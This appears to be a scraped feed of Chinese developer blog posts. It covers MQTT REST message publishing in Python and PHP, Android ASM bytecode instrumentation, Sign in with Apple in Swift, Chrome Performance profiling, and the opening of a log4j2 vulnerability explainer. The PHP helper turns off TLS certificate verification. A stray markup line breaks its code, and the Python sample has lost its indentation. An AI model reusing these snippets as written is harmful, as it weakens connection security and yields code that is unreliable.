1、应用clientID:从环信console【应用概览】->【应用详情】->【开发者ID】下 "client ID"获取;
2、应用clientSecret:从环信console【应用概览】->【应用详情】->【开发者ID】下"clientSecret"获取; 
3、RSET API地址:从环信console【MQTT】->【服务概览】->【服务配置】下"REST API地址"获取; 
4、应用ID:从环信console【MQTT】->【服务概览】->【服务配置】下"AppId"获取;



2. 实现流程 
注:本代码对消息体内容进行GBK转码,可支持语音播报(适用于扬声器播放中文内容),如不需要此场景使用,可根据需求设置转码格式。

import requests
import time
import json
import base64


# 填写服务参数
# 1、app_client_id:应用clientID
# 2、app_client_secret:应用clientSecret
# 3、api_url_base:RSET API地址
# 4、app_id:应用ID
app_client_id = ' XXXXX'

app_client_secret = 'XXXX'

api_url_base = 'XXXXX'

app_id = 'XXXXXX'


# 播报文字
speak_text = '欢迎使用环信mqtt'


# 获取应用token
api_url_app_token = api_url_base + '/openapi/rm/app/token'
def get_app_token():
data = {
'appClientId':app_client_id,
'appClientSecret':app_client_secret
}

header = {'Content-Type': 'application/json'}

re = requests.post(api_url_app_token, headers=header, data=json.dumps(data))
return (json.loads(re.text)['body']['access_token'])


# 发送mqtt消息
api_url_publish = api_url_base + '/openapi/v1/rm/chat/publish'
def send_msg(app_token, txt):

# 智能音箱的 msgid 每次都不一样才会播报声音
# 这里用毫秒时间戳当作 msgid
time_millis = int(round(time.time() * 1000))

dat ={
'type':'tts_dynamic',
'msgid': time_millis,
'txt':txt ,
}

json_text = json.dumps(dat, ensure_ascii=False)
json_h = json_text.encode(encoding="gbk")
base64_bytes = base64.b64encode(json_h)
base64_utf8 = str(base64_bytes,'utf-8')

#topics,要发送的主题
#clientid,当前客户端ID,格式为“xxxx@appid”
data = {
'topics':['861714050059769'],
'clientid':'12@ff6sc0',
'payload':base64_utf8,
"encoding":'base64',
'qos':1,
'retain':0,
'expire':86400
}

header = {
'Content-Type': 'application/json',
'Authorization': app_token
}

re = requests.post(api_url_publish, headers=header, data=json.dumps(data))
return (json.loads(re.text))


print('正在获取应用token...')
app_token = get_app_token()
print('获取应用token成功')

print(send_msg(app_token, speak_text))
print('发送消息成功')



 三、更多信息

* 如果您在使用MQTT服务中,有任何疑问和建议,欢迎您联系我们

收起阅读 »

PHP服务端快速调用环信MQTT REST接口下发消息

本文介绍PHP服务端通过调用环信MQTT REST API接口快速实现消息下发,使用时可参阅REST发送消息接口介绍1. 前提条件1.1 获取服务器信息调用环信MQTT REST API接口前,需要获取四个环信MQTT服务器信息,包括:应用clientID、应...
继续阅读 »


本文介绍PHP服务端通过调用环信MQTT REST API接口快速实现消息下发,使用时可参阅
REST发送消息接口介绍


1. 前提条件

1.1 获取服务器信息
调用环信MQTT REST API接口前,需要获取四个环信MQTT服务器信息,包括:应用clientID应用clientSecretREST API地址及应用ID
1、应用clientID:从环信console【应用概览】->【应用详情】->【开发者ID】下 "client ID"获取;
2、应用clientSecret:从环信console【应用概览】->【应用详情】->【开发者ID】下"clientSecret"获取; 
3、RSET API地址:从环信console【MQTT】->【服务概览】->【服务配置】下"REST API地址"获取; 
4、应用ID:从环信console【MQTT】->【服务概览】->【服务配置】下"AppId"获取;



2. 实现流程 
注:本代码对消息体内容进行GBK转码,可支持语音播报(适用于扬声器播放中文内容),如不需要此场景使用,可根据需求设置转码格式。

// 填写服务参数
// 1、client_id:应用clientID
// 2、client_secret:应用clientSecret
// 3、rest_uri:RSET API地址
// 4、app_id:应用ID
$config = [
'rest_uri' => 'XXXXXX',
'client_id' => 'XXXXXX',
'client_secret' => 'XXXXXX',
'app_id' => 'XXXXXX',
];

// 实时 token
$accessToken = get_access_token();

// 固定值,有有效期
//$accessToken = 'YWMtiftbBF7sEeyeASnTGg_ZZCGtXR4YNTAxtZpP1MjdlZbv64ppqWZOEI663pDy48tKAgMAAAF9xoOlvAWP1ADm__IWx_b4TLJvCb9axcY6cNImjMXJcx1ty7UK-Ked2w';

// 发送消息
$message = [
'type' => 'tts_dynamic',
'msgid' => 'c1b5d5f46092d4c01a5f422ae2b9ad41188',
'txt' => '测试测试'
];
var_dump(send(['861714050059769'], $message));

/**
* @description: 获取 Token
* @return {String}
*/
function get_access_token()
{
global $config;
$uri = $config['rest_uri'] . '/openapi/rm/app/token';
$body = [
'appClientId' => $config['client_id'],
'appClientSecret' => $config['client_secret'],
];
$headers = [
'Content-Type' => 'application/json',
];
$ret = json_decode(curl_request($uri, $body, $headers), true);
return isset($ret['code']) && $ret['code'] == 200 ? $ret['body']['access_token'] : $ret;
}

/**
* @description: 发送消息
* @param {array} $topics 要发消息的主题数组
* @param {mixed} $message 要发送的消息内容
* @param {String} $deviceID deviceID 用户自定义
* @return {array}
*/
function send($topics, $message, $deviceID = '12')
{
global $config, $accessToken;
$uri = $config['rest_uri'] . '/openapi/v1/rm/chat/publish';
$body = [
'topics' => $topics,
'clientid' => "{$deviceID}@{$config['app_id']}",
'payload' => base64_encode(iconv("UTF-8", "GBK", json_encode($message, JSON_UNESCAPED_UNICODE))),
'encoding' => 'base64',
];

$headers = [
'Content-Type' => 'application/json',
'Authorization' => $accessToken,
];
$ret = json_decode(curl_request($uri, $body, $headers), true);
return $ret;
}

/**
* @description: 查看消息
* @param {String} $messageId 指定的消息ID
* @return {array}
*/
function show($messageId)
{
global $config, $accessToken;
$uri = $config['rest_uri'] . '/openapi/rm/message/message?messageId=' . $messageId;
$headers = [
'Content-Type' => 'application/json',
'Authorization' => $accessToken,
];
$ret = json_decode(curl_request($uri, null, $headers), true);
if (isset($ret['code']) && $ret['code'] == 200) {
$ret['body']['message'] = json_decode(iconv('GBK', 'UTF-8', base64_decode($ret['body']['message'])), true);
return $ret['body'];
}
return $ret;
}

function curl_request($url, $data = null, $headers = null)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
// CURLOPT_HEADER => true, // 将头文件的信息作为数据流输出
// CURLOPT_NOBODY => false, // true 时将不输出 BODY 部分。同时 Mehtod 变成了 HEAD。修改为 false 时不会变成 GET。
// CURLOPT_CUSTOMREQUEST => $request->method, // 请求方法
if(!empty($data)){
curl_setopt($ch, CURLOPT_POST, 1);
if (is_array($data)) {
$data = json_encode($data);
}
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
}
if(!empty($headers)){
curl_setopt($ch, CURLOPT_HTTPHEADER, buildHeaders($headers));
}
$output = curl_exec($ch);
// $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
curl_close($ch);
return $output;
}

function buildHeaders($headers)
{{{:playground:message:微信交流群.jpeg?200|}}
$headersArr = array();
foreach ($headers as $key => $value) {
array_push($headersArr, "{$key}: {$value}");
}
return $headersArr;
}


 三、更多信息

* 如果您在使用MQTT服务中,有任何疑问和建议,欢迎您联系我们

收起阅读 »

Android编译插桩操作字节码

1. 概念 什么是编译插桩 顾名思义,所谓的编译插桩就是在代码编译期间修改已有的代码或者生成新代码。我们项目中的 Dagger、ButterKnife或者kotlin都用到了编译插桩技术。 要理解编译插桩,我们要先知道在Android中.java 文件是怎么编...
继续阅读 »

1. 概念


什么是编译插桩


顾名思义,所谓的编译插桩就是在代码编译期间修改已有的代码或者生成新代码。我们项目中的 Dagger、ButterKnife或者kotlin都用到了编译插桩技术。


要理解编译插桩,我们要先知道在Android中.java 文件是怎么编译的。


WechatIMG106.png


如上图所示,demo.java通过javac命令编译成demo.class文件,然后通过字节码文件编译器将class文件打包成.dex。


我们今天要说的插桩,就是在class文件转为.dex之前修改或者添加代码。


2. 场景


我们什么时候会用到它呢?



  • 日志埋点

  • 性能监控

  • 权限控制

  • 代码替换

  • 代码调试

  • 等等...


3. 插桩工具介绍




  • AspectJ




AspectJ 是老牌 AOP(Aspect-Oriented Programming)框架。其主要优势是成熟稳定,使用者也不需要对字节码文件有深入的理解。




  • ASM




ASM 最初起源于一个博士的研究项目,在 2002 年开源,并从 5.x 版本便开始支持 Java 8。并且,ASM 是诸多 JVM 语言钦定的字节码生成库,它在效率与性能方面的优势要远超其它的字节码操作库如 javassist、AspectJ。其主要优势是内存占用很小,运行速度快,操作灵活。但是上手难度大,需要对 Java 字节码有比较充分的了解。


本文使用 ASM 来实现简单的编译插桩效果,接下来我们是想一个小需求,


4. 实践


1. 创建AsmDemo项目,其中只有一个MainActivity


QQ20211224-135648@2x.png


2.创建自定义gradle插件


QQ20211224-135825@2x.png
删除module中main文件夹下所有目录,新建groovy跟java目录。


2222.png
gradle插件是用groovy编写的,所以groovy文件存放.groovy文件,java目录中存放asm相关类。
清空build.gradle文件内容,改为如下内容:


plugins {
id 'groovy'
id 'maven'
}
dependencies {
implementation gradleApi()
implementation localGroovy()
implementation 'com.android.tools.build:gradle:3.5.4'
}
group = "demo.asm.plugin"
version = "1.0.0"

uploadArchives {
repositories {
mavenDeployer {
repository(url: uri("../asm_lifecycle_repo"))
}
}
}

3.创建LifeCyclePlugin文件


package demo.asm.plugin

import org.gradle.api.Plugin
import org.gradle.api.Project

public class LifeCyclePlugin implements Plugin {

@Override
void apply(Project target) {
println("hello this is my plugin")
}
}

LifeCyclePlugin实现了Plugin接口,但我们在app中使用此插件的时候,LifeCyclePlugin的apply插件会被调用。


接着创建properties文件:
首先在main下面创建resources/META-INF/gradle-plugins目录,然后在gradle-plugins中创建demo.asm.lifecycle.properties,并填入如下内容:


implementation-class=demo.asm.plugin.LifeCyclePlugin

其中文件名demo.asm.lifecycle就是我们插件的名称,后续我们需要在app的build.gradle文件中引用此插件。
好了,现在我们的插件已经写完了,我们把他部署到本地仓库中来测试一下。发布地址在上述build.grale文件中repository属性配置。我将其配置在asm_lifecycle_repo目录中。


我们在 Android Studio 的右边栏找到 Gradle 中点击 uploadArchives,执行 plugin 的部署任务,构建成功后,本地会出现一个repo目录,就是我们自定义的插件。


333.png


我们测试一下demo.asm.lifecycle。


首先在项目根目录的build.gradle文件中添加


buildscript {
ext.kotlin_version = '1.4.32'
repositories {
google()
mavenCentral()
maven { url 'asm_lifecycle_repo' } //需要添加的内容
}
dependencies {
classpath "com.android.tools.build:gradle:3.5.4"
classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:1.4.32"
classpath 'demo.asm.plugin:asm_lifecycle_plugin:1.0.0' //需要添加的内容

}
}

然后在app的build.gradle中添加


id 'demo.asm.lifecycle'

然后我们执行命令./gradlew clean assembleDebug,可以看到hello this is my plugin 正确输出,说明我们自定义的gradle插件可以使用。


444.png


然后我们来自定义transform,来遍历.class文件
这部分功能主要依赖 Transform API。


4.自定义transform


什么是 Transform ?


Transform 可以被看作是 Gradle 在编译项目时的一个 task,在 .class 文件转换成 .dex 的流程中会执行这些 task,对所有的 .class 文件(可包括第三方库的 .class)进行转换,转换的逻辑定义在 Transform 的 transform 方法中。实际上平时我们在 build.gradle 中常用的功能都是通过 Transform 实现的,比如混淆(proguard)、分包(multi-dex)、jar 包合并(jarMerge)。
创建LifeCycleTransfrom文件,内容如下:


package demo.asm.plugin

import com.android.build.api.transform.QualifiedContent
import com.android.build.api.transform.Transform
import com.android.build.api.transform.TransformException
import com.android.build.api.transform.TransformInput
import com.android.build.api.transform.TransformInvocation
import com.android.build.gradle.internal.pipeline.TransformManager
import joptsimple.internal.Classes

/**
* Transform 主要作用是检索项目编译过程中的所有文件。通过这几个方法,我们可以对自定义 Transform 设置一些遍历规则,
*/

public class LifeCycleTransform extends Transform {

/**
* 设置我们自定义的 Transform 对应的 Task 名称。Gradle 在编译的时候,会将这个名称显示在控制台上。
* 比如:Task :app:transformClassesWithXXXForDebug。
* @return
*/

@Override
String getName() {
return "LifeCycleTransform"
}
/**
* 在项目中会有各种各样格式的文件,通过 getInputType 可以设置 LifeCycleTransform 接收的文件类型,
* 此方法返回的类型是 Set
集合。
* 此方法有俩种取值
* 1.CLASSES:代表只检索 .class 文件;
* 2.RESOURCES:代表检索 java 标准资源文件。
* @return
*/

@Override
Set getInputTypes() {
return TransformManager.CONTENT_CLASS
}
/**
* 这个方法规定自定义 Transform 检索的范围,具体有以下几种取值:
* EXTERNAL LIBRARIES 只有外部库
* PROJECT 只有项目内容
* PROJECT LOCAL DEPS 只有项目的本地依赖(本地jar )
* PROVIDED ONLY 只提供本地或远程依赖项
* SUB PROJECTS 只有子项目。
* SUB PROJECTS LOCAL DEPS 只有子项目的本地依赖项(本地jar)。
* TESTED CODE 由当前变量(包括依赖项)测试的代码
* @return
*/

@Override
Set getScopes() {
return TransformManager.PROJECT_ONLY
}
/**
* isIncremental() 表示当前 Transform 是否支持增量编译,我们不需要增量编译,所以直接返回 false 即可。
* @return
*/

@Override
boolean isIncremental() {
return false
}
/**
* 最重要的方法,在这个方法中,可以获取到俩个数据的流向
* inputs:inputs 中是传过来的输入流,其中有两种格式,一种是 jar 包格式,一种是 directory(目录格式)。
* outputProvider:outputProvider 获取到输出目录,最后将修改的文件复制到输出目录,这一步必须做,否则编译会报错。
*
* @param transformInvocation
* @throws TransformException* @throws InterruptedException* @throws IOException
*/

@Override
void transform(TransformInvocation transformInvocation) throws TransformException, InterruptedException, IOException {
Collection tis = transformInvocation.inputs
tis.forEach(ti -> {
ti.directoryInputs.each {
File file = it.file
if (file)
{
file.traverse {
println("find class:" + it.name)
}
}
}
})

}
}

然后将我们将自定义的transform注册到我们定义好的plugin中,LifeCyclePlugin代码修改如下:


package demo.asm.plugin

import com.android.build.gradle.AppExtension
import org.gradle.api.Plugin
import org.gradle.api.Project

public class LifeCyclePlugin implements Plugin {

@Override
void apply(Project target) {
println("hello this is my plugin")
def android = target.extensions.getByType(AppExtension)
println "======register transform ========"
LifeCycleTransform transform = new LifeCycleTransform()
android.registerTransform(transform)

}
}

然后再次执行./gradlew clean assembleDebug,可以看到项目中所有的.class文件都被输出了


555.png


5.使用 ASM,插入字节码到 Activity 文件


ASM 是一套开源框架,其中几个常用的 API 如下:


ClassReader:负责解析 .class 文件中的字节码,并将所有字节码传递给 ClassWriter。


ClassVisitor:负责访问 .class 文件中各个元素,还记得上一课时我们介绍的 .class 文件结构吗?ClassVisitor 就是用来解析这些文件结构的,当解析到某些特定结构时(比如类变量、方法),它会自动调用内部相应的 FieldVisitor 或者 MethodVisitor 的方法,进一步解析或者修改 .class 文件内容。


ClassWriter:继承自 ClassVisitor,它是生成字节码的工具类,负责将修改后的字节码输出为 byte 数组。


添加 ASM 依赖
在asm_demo_plugin的build.gradle中添加asm依赖


dependencies {
implementation gradleApi()
implementation localGroovy()
implementation 'com.android.tools.build:gradle:3.5.4'
implementation 'org.ow2.asm:asm:8.0.1'//需要添加的依赖
implementation 'org.ow2.asm:asm-commons:8.0.1'//需要添加的依赖
}

在main/java下面创建包 demo/asm/asm目录并添加如下代码:


import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;


/**
* Created by zhangzhenrui
*/


public class LifeCycleClassVisitor extends ClassVisitor {

private String className = "";
private String superName = "";

public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
super.visit(version, access, name, signature, superName, interfaces);
this.className = name;
this.superName = superName;
}


public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
System.out.println("classVisitor methodName" + name + ",supername" + superName);
MethodVisitor mv = cv.visitMethod(access, name, descriptor, signature, exceptions);
if (superName.equals("android/support/v7/app/AppCompatActivity")) {
if (name.equals("onCreate")) {
return new LifeCycleMethodVisitor(className, name, mv);
}
}
return mv;
}


public void visitEnd() {
super.visitEnd();
}

public LifeCycleClassVisitor(ClassVisitor classVisitor) {
super(Opcodes.ASM5, classVisitor);
}
}


import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;

/**
* Created by zhangzhenrui
*/


class LifeCycleMethodVisitor extends MethodVisitor {
private String className;
private String methodName;

public LifeCycleMethodVisitor(String className, String methodName, MethodVisitor methodVisitor) {
super(Opcodes.ASM5, methodVisitor);
this.className = className;
this.methodName = methodName;
}

public void visitCode() {
super.visitCode();
System.out.println("methodVistor visitorCode");
mv.visitLdcInsn("TAG");
mv.visitLdcInsn(className + "------>" + methodName);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "android/util/Log", "e", "(Ljava/lang/String;Ljava/lang/String;)I", false);
mv.visitInsn(Opcodes.POP);

}

}

然后修改LifeCycleTransformtransform函数如下:


@Override
void transform(TransformInvocation transformInvocation) throws TransformException, InterruptedException, IOException {
Collection transformInputs = transformInvocation.inputs
TransformOutputProvider outputProvider = transformInvocation.outputProvider
transformInputs.each { TransformInput transformInput ->
transformInput.directoryInputs.each { DirectoryInput directoryInput ->
File file = directoryInput.file
if (file)
{
file.traverse(type: FileType.FILES, namefilter: ~/.*.class/) { File item ->
ClassReader classReader = new ClassReader(item.bytes)
if (classReader.itemCount != 0) {
System.out.println("find class:" + item.name + "classReader.length:" + classReader.getItemCount())
ClassWriter classWriter = new ClassWriter(classReader, ClassWriter.COMPUTE_MAXS)
ClassVisitor classVisitor = new LifeCycleClassVisitor(classWriter)
classReader.accept(classVisitor, ClassReader.EXPAND_FRAMES)
byte[] bytes = classWriter.toByteArray()
FileOutputStream outputStream = new FileOutputStream(item.path)
outputStream.write(bytes)
outputStream.close()
}
}
}
def dest = outputProvider.getContentLocation(directoryInput.name, directoryInput.contentTypes, directoryInput.scopes, Format.DIRECTORY)
FileUtils.copyDirectory(directoryInput.file, dest)
}

}
}

重新部署我们的插件后,重新运行主项目,可以看到:


MainActivity------>onCreate

但是我们没有在MainActivity中写一行代码,这样就实现了动态注入日志的功能


5.总结


本篇文章主要讲述了在Android中使用asm动态操作字节码的流程,其中涉及到的技术点有



  • 自定义gradle插件

  • transform的使用

  • asm的使用

收起阅读 »

swift 苹果登录

iOS
- 苹果登录的前期工作: - 1.开发者账号中增加苹果登录的选项- 2.xcode中配置苹果登录 //swift版本的代码逻辑 //头文件 import AuthenticationServices //按钮加载 苹果登录 对于按钮有一定的要求,具体查看...
继续阅读 »
苹果登录
项目中继承第三方登录时,需增加上苹果登录即可上架
苹果登录需要iOS系统 13以上支持
详细的内容阅读苹果官方的网址
url:https://developer.apple.com/documentation/authenticationservices/implementing_user_authentication_with_sign_in_with_apple
- 苹果登录的前期工作:
- 1.开发者账号中增加苹果登录的选项


1.1  可能会造成证书无法使用,重新编辑一下保存下载即可!


- 2.xcode中配置苹果登录


前期的配置基本上完成
剩下的就是代码逻辑
- 3.代码中增加苹果登录的逻辑
//swift版本的代码逻辑
//头文件
import AuthenticationServices

//按钮加载 苹果登录 对于按钮有一定的要求,具体查看上方的连接
// 此处使用了一个临时的
if #available(iOS 13.0, *) {
let authorizationButton = ASAuthorizationAppleIDButton()
authorizationButton.frame = CGRect(x: (KScreenWidth - 300) / 2, y: kScreenHeight - 50, width: 300, height: 30)
authorizationButton.addTarget(self, action: #selector(handleAuthorizationAppleIDButtonPress), for: .touchUpInside)
self.view.addSubview(authorizationButton)
} else {
// Fallback on earlier versions
}


//MARK: 点击苹果登陆按钮
@objc
func handleAuthorizationAppleIDButtonPress() {

if #available(iOS 13.0, *) {
/**
- 点击 苹果登录的按钮跳出苹果登录的界面
- 跳转出系统界面
*/

let appleIDProvider = ASAuthorizationAppleIDProvider()
let request = appleIDProvider.createRequest()
request.requestedScopes = [.fullName, .email]

let authorizationController = ASAuthorizationController(authorizationRequests: [request])
authorizationController.delegate = self
authorizationController.presentationContextProvider = self as? ASAuthorizationControllerPresentationContextProviding
authorizationController.performRequests()

} else {
// Fallback on earlier versions
}

}

//MARK: - 授权成功
@available(iOS 13.0, *)
func authorizationController(controller: ASAuthorizationController, didCompleteWithAuthorization authorization: ASAuthorization) {
if #available(iOS 13.0, *) {
switch authorization.credential {
case let appleIDCredential as ASAuthorizationAppleIDCredential:
/**
- 首次注册 能够那去到的参数分别是:
1. user
2.state
3.authorizedScopes
4.authorizationCode
5.identityToken
6.email
7.fullName
8.realUserStatus
*/

// Create an account in your system.
let userIdentifier = appleIDCredential.user
let fullName = appleIDCredential.fullName
let email = appleIDCredential.email
let code = appleIDCredential.authorizationCode
// For the purpose of this demo app, store the `userIdentifier` in the keychain.
self.saveUserInKeychain(userIdentifier)

// For the purpose of this demo app, show the Apple ID credential information in the `ResultViewController`.
self.showResultViewController(userIdentifier: userIdentifier, fullName: fullName, email: email)
BPLog.lmhInfo("userID:\(userIdentifier),fullName:\(fullName),userEmail:\(email),code:\(code)")
case let passwordCredential as ASPasswordCredential:

// Sign in using an existing iCloud Keychain credential.
let username = passwordCredential.user
let password = passwordCredential.password

// For the purpose of this demo app, show the password credential as an alert.
DispatchQueue.main.async {
self.showPasswordCredentialAlert(username: username, password: password)
}

default:
break
}
} else {
// Fallback on earlier versions
}
}
收起阅读 »

快速掌握 Performance 性能分析:一个真实的优化案例

这么强大的工具肯定是要好好掌握的,今天我们就来做一个性能优化的案例来快速上手 Performance 吧。首先,我们准备这样一段代码:<html lang="en"><head>    <meta charse...
继续阅读 »

Chrome Devtools 的 Performance 工具是性能分析和优化的利器,因为它可以记录每一段代码的耗时,进而分析出性能瓶颈,然后做针对性的优化。

这么强大的工具肯定是要好好掌握的,今天我们就来做一个性能优化的案例来快速上手 Performance 吧。

性能分析

首先,我们准备这样一段代码:


<html lang="en">
<head>
   <meta charset="UTF-8">
   <title>worker performance optimizationtitle>
head>
<body>
   <script>
       function a() {
          b();
      }
       function b() {
           let total = 0;
           for(let i = 0; i< 10*10000*10000; i++) {
               total += i;
          }
           console.log('b:', total);
      }

       a();
   script>
   <script>
       function c() {
           d();
      }
       function d() {
           let total = 0;
           for(let i = 0; i< 1*10000*10000; i++) {
               total += i;
          }
           console.log('c:', total);
      }
       c();
   script>
body>
html>

很明显,两个 script 标签是两个宏任务,第一个宏任务的调用栈是 a、b,第二个宏任务的调用栈是 c、d。

我们用 Performance 来看一下是不是这样:

首先用无痕模式打开 chrome,无痕模式下没有插件,分析性能不会受插件影响。

打开 chrome devtools 的 Performance 面板,点击 reload 按钮,会重新加载页面并开始记录耗时:

过几秒点击结束。

这时候界面就会展示出记录的信息:

图中标出的 Main 就是主线程。

主线程是不断执行 Event Loop 的,可以看到有两个 Task(宏任务),调用栈分别是 a、b 和 c、d,和我们分析的对上了。(当然,还有一些浏览器内部的函数,比如 parseHtml、evaluateScript 等,这些可以忽略)

Performance 工具最重要的是分析主线程的 Event Loop,分析每个 Task 的耗时、调用栈等信息。

当你点击某个宏任务的时候,在下面的面板会显示调用栈的详情(选择 bottom-up 是列表展示, call tree 是树形展示)

每个函数的耗时也都显示在左侧,右侧有源码地址,点击就可以跳到 Sources 对应的代码。

直接展示了每行代码的耗时,太方便了!

工具介绍完了,我们来分析下代码哪里有性能问题。

很明显, b 和 d 两个函数的循环累加耗时太高了。

在 Performance 中也可以看到 Task 被标红了,下面的 summary 面板也显示了 long task 的警告。

有同学可能会问:为什么要优化 long task 呢?

因为渲染和 JS 执行都在主线程,在一个 Event Loop 中,会相互阻塞,如果 JS 有长时间执行的 Task,就会阻塞渲染,导致页面卡顿。所以,性能分析主要的目的是找到 long task,之后消除它。

可能很多同学都不知道,其实网页的渲染也是一个宏任务,所以才会和 JS 执行互相阻塞。关于这一点的证明可以看我前面一篇文章:

通过 Performance 证明,网页的渲染是一个宏任务

找到了要优化的代码,也知道了优化的目标(消除 long task),那么就开始优化吧。

性能优化

我们优化的目标是把两个 long task 中的耗时逻辑(循环累加)给去掉或者拆分成多个 task。

关于拆分 task 这点,可以参考 React 从递归渲染 vdom 转为链表的可打断的渲染 vdom 的优化,也就是 fiber 的架构,它的目的也是为了拆分 long task。

但明显我们这里的逻辑没啥好拆分的,它就是一个大循环。

那么能不能不放在主线程跑,放到其他线程跑呢?浏览器的 web worker 好像就是做耗时计算的性能优化的。

我们来试一下:

封装这样一个函数,传入 url 和数字,函数会创建一个 worker 线程,通过 postMessage 传递 num 过去,并且监听 message 事件来接收返回的数据。

function runWorker(url, num) {
   return new Promise((resolve, reject) => {
       const worker = new Worker(url);
       worker.postMessage(num);
       worker.addEventListener('message', function (evt) {
           resolve(evt.data);
      });
       worker.onerror = reject;
  });
};

然后 b 和 c 函数就可以改成这样了:

function b() {
   runWorker('./worker.js', 10*10000*10000).then(res => {
       console.log('b:', res);
  });
}

耗时逻辑移到了 worker 线程:

addEventListener('message', function(evt) {
   let total = 0;
   let num = evt.data;
   for(let i = 0; i< num; i++) {
       total += i;
  }
   postMessage(total);
});

完美。我们再跑一下试试:

哇,long task 一个都没有了!

然后你还会发现 Main 线程下面多了两个 Worker 线程:

虽然 Worker 还有 long task,但是不重要,毕竟计算量在那,只要主线程没有 long task 就行。

这样,我们通过把计算量拆分到 worker 线程,充分利用了多核 cpu 的能力,解决了主线程的 long task 问题,界面交互会很流畅。

我们再看下 Sources 面板:

对比下之前的:

这优化力度,肉眼可见!

就这样,我们一起完成了一次网页的性能优化,通过 Peformance 分析出 long task,定位到耗时代码,然后通过 worker 拆分计算量进行优化,成功消除了主线程的 long task。

代码传到了 github,感兴趣的可以拉下来用 Performance 工具分析下:

github.com/QuarkGluonP…

总结

Chrome Devtools 的 Performance 工具是网页性能分析的利器,它可以记录一段时间内的代码执行情况,比如 Main 线程的 Event Loop、每个 Event loop 的 Task,每个 Task 的调用栈,每个函数的耗时等,还可以定位到 Sources 中的源码位置。

性能优化的目标就是找到 Task 中的 long task,然后消除它。因为网页的渲染是一个宏任务,和 JS 的宏任务在同一个 Event Loop 中,是相互阻塞的。

我们做了一个真实的优化案例,通过 Performance 分析出了代码中的耗时部分,发现是计算量大导致的,所以我们把计算逻辑拆分到了 worker 线程以充分利用多核 cpu 的并行处理能力,消除了主线程的 long task。

做完这个性能优化的案例之后,是不是觉得 Peformance 工具用起来也不难呢?

其实会分析主线程的 Event Loop,会分析 Task 和 Task 的调用栈,找出 long task,并能定位到耗时的代码,Performance 工具就算是掌握了大部分了,常用的功能也就是这些。


作者:zxg_神说要有光
来源:https://juejin.cn/post/7046805217668497445

收起阅读 »

从0到1带你深入理解log4j2漏洞

0x01前言从Apache Log4j2 漏洞影响面查询的统计来看,影响多达60644个开源软件,涉及相关版本软件包更是达到了321094个。而本次漏洞的触发方式简单,利用成本极低,可以说是一场java生态的‘浩劫’。本文将从零到一带你深入了解log4j2漏洞...
继续阅读 »



0x01前言

最近IT圈被爆出的log4j2漏洞闹的沸沸扬扬,log4j2作为一个优秀的java程序日志监控组件,被应用在了各种各样的衍生框架中,同时也是作为目前java全生态中的基础组件之一,这类组件一旦崩塌将造成不可估量的影响。

Apache Log4j2 漏洞影响面查询的统计来看,影响多达60644个开源软件,涉及相关版本软件包更是达到了321094个。而本次漏洞的触发方式简单,利用成本极低,可以说是一场java生态的‘浩劫’。本文将从零到一带你深入了解log4j2漏洞。知其所以然,方可深刻理解、有的放矢。

0x02 Java日志体系

要了解认识log4j2,就不得讲讲java的日志体系,在最早的2001年之前,java是不存在日志库的,打印日志均通过System.outSystem.err来进行,缺点也显而易见,列举如下:

大量IO操作;

无法合理控制输出,并且输出内容不能保存,需要盯守;

无法定制日志格式,不能细粒度显示;

在2001年,软件开发者Ceki Gulcu设计出了一套日志库也就是log4j(注意这里没有2)。后来log4j成为了Apache的项目,作者也加入了Apache组织。这里有一个小插曲,Apache组织建议过sun公司在标准库中引入log4j,但是sun公司可能有自己的小心思,所以就拒绝了建议并在JDK1.4中推出了自己的借鉴版本JUL(Java Util Logging)。不过功能还是不如Log4j强大。使用范围也很小。

由于出现了两个日志库,为了方便开发者进行选择使用,Apache推出了日志门面JCL(Jakarta Commons Logging)。它提供了一个日志抽象层,在运行时动态的绑定日志实现组件来工作(如log4j、java.util.logging)。导入哪个就绑定哪个,不需要再修改配置。当然如果没导入的话他自己内部有一个Simple logger的简单实现,但是功能很弱,直接忽略。架构如下图:

pic_746f57fc.png

在2006年,log4j的作者Ceki Gulcu离开了Apache组织后觉得JCL不好用,于是自己开发了一版和其功能相似的Slf4j(Simple Logging Facade for Java)。Slf4j需要使用桥接包来和日志实现组件建立关系。由于Slf4j每次使用都需要配合桥接包,作者又写出了Logback日志标准库作为Slf4j接口的默认实现。其实根本原因还是在于log4j此时无法满足要求了。以下是桥接架构图:

pic_a29fa3d8.png

到了2012年,Apache可能看不要下去要被反超了,于是就推出了新项目Log4j2并且不兼容Log4j,全面借鉴Slf4j+Logback。此次借鉴比较成功。

Log4j2不仅仅具有Logback的所有特性,还做了分离设计,分为log4j-api和log4j-core,log4j-api是日志接口,log4j-core是日志标准库,并且Apache也为Log4j2提供了各种桥接包

到目前为止Java日志体系被划分为两大阵营,分别是Apache阵营和Ceki阵营。

pic_b911ab38.png

0x03 Log4j2源码浅析

Log4j2是Apache的一个开源项目,通过使用Log4j2,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

从上面的解释中我们可以看到Log4j2的功能十分强大,这里会简单分析其与漏洞相关联部分的源码实现,来更熟悉Log4j2的漏洞产生原因。

我们使用maven来引入相关组件的2.14.0版本,在工程的pom.xml下添加如下配置,他会导入两个jar包



  org.apache.logging.log4j
  log4j-core
  2.14.0

pic_e9a036b2.png

在工程目录resources下创建log4j2.xml配置文件






 

     
 


 
     
 

log4j2中包含两个关键组件LogManagerLoggerContextLogManager是Log4J2启动的入口,可以初始化对应的LoggerContextLoggerContext会对配置文件进行解析等其它操作。

